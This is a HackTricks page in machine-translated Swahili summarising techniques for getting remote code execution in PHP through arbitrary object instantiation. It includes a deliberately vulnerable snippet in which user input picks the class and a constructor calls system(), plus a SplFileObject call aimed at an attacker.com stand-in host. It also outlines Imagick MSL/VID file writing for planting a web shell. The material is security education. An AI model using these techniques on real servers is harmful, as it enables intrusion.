PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Support HackTricks

Hii ni kwa kifupi muhtasari wa https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Utangulizi

Uundaji wa vitu vipya vya kiholela, kama new $_GET["a"]($_GET["a"]), unaweza kusababisha Utekelezaji wa Kode ya K remote (RCE), kama ilivyoelezwa katika andika. Hati hii inasisitiza mikakati mbalimbali za kufikia RCE.

RCE kupitia Madarasa ya Kawaida au Autoloading

Sintaksia new $a($b) inatumika kuunda kitu ambapo $a inawakilisha jina la darasa na $b ni hoja ya kwanza iliyopitishwa kwa mjenzi. Vigezo hivi vinaweza kupatikana kutoka kwa ingizo la mtumiaji kama GET/POST, ambapo vinaweza kuwa nyuzi au orodha, au kutoka JSON, ambapo vinaweza kuonekana kama aina nyingine.

Fikiria kipande cha msimbo kilichopo hapa chini:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

Katika hali hii, kuweka $a kuwa App au App2 na $b kuwa amri ya mfumo (mfano, uname -a) kunasababisha utekelezaji wa amri hiyo.

Mifumo ya Autoloading inaweza kutumika vibaya ikiwa hakuna madarasa kama hayo yanayopatikana moja kwa moja. Mifumo hii inasababisha madarasa kupakuliwa moja kwa moja kutoka kwa faili inapohitajika na inafafanuliwa kwa kutumia spl_autoload_register au __autoload:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

The behavior of autoloading varies with PHP versions, offering different RCE possibilities.

RCE kupitia Madarasa ya Msingi

Kukosa madarasa ya kawaida au autoloaders, madarasa ya msingi ya PHP yanaweza kutosha kwa RCE. Idadi ya madarasa haya inatofautiana kati ya 100 hadi 200, kulingana na toleo la PHP na nyongeza. Yanweza kuorodheshwa kwa kutumia get_declared_classes().

Mifano ya wajibu inaweza kutambuliwa kupitia API ya reflection, kama inavyoonyeshwa katika mfano ufuatao na kiungo https://3v4l.org/2JEGF.

RCE kupitia mbinu maalum inajumuisha:

SSRF + Phar Deserialization

Darasa la SplFileObject linawezesha SSRF kupitia wajibu wake, likiruhusu muunganisho na URL yoyote:

new SplFileObject('http://attacker.com/');

SSRF inaweza kusababisha mashambulizi ya deserialization katika toleo la PHP kabla ya 8.0 kutumia itifaki ya Phar.

Kunutumia PDOs

Mjenzi wa darasa la PDO unaruhusu muunganisho na hifadhidata kupitia nyuzi za DSN, ambayo inaweza kuwezesha uundaji wa faili au mwingiliano mwingine:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Matoleo ya PHP hadi 5.3.22 na 5.4.12 yalikuwa na hatari ya mashambulizi ya XXE kupitia waumbaji wa SoapClient na SimpleXMLElement, kulingana na toleo la libxml2.

RCE kupitia Imagick Extension

Katika uchambuzi wa mtegemeo wa mradi, iligundulika kwamba Imagick inaweza kutumika kwa utendaji wa amri kwa kuunda vitu vipya. Hii inatoa fursa ya kutumia udhaifu.

VID parser

Uwezo wa VID parser wa kuandika maudhui kwenye njia yoyote iliyotolewa katika mfumo wa faili ulitambuliwa. Hii inaweza kusababisha kuwekwa kwa shell ya PHP katika saraka inayoweza kufikiwa mtandaoni, ikipata Remote Code Execution (RCE).

VID Parser + Upakuaji wa Faili

Imepangwa kwamba PHP inahifadhi faili zilizopakiwa kwa muda katika /tmp/phpXXXXXX. VID parser katika Imagick, ikitumia protokali ya msl, inaweza kushughulikia wildcards katika njia za faili, ikirahisisha uhamishaji wa faili ya muda kwenda mahali palipochaguliwa. Njia hii inatoa mbinu ya ziada ya kufikia uandishi wa faili bila mipaka ndani ya mfumo wa faili.

PHP Crash + Brute Force

Mbinu iliyoelezwa katika andiko la asili inahusisha kupakia faili zinazochochea kuanguka kwa seva kabla ya kufutwa. Kwa kutumia brute-force jina la faili ya muda, inakuwa inawezekana kwa Imagick kutekeleza msimbo wa PHP bila mipaka. Hata hivyo, mbinu hii iligundulika kuwa na ufanisi tu katika toleo la zamani la ImageMagick.

Marejeleo

Support HackTricks

Last updated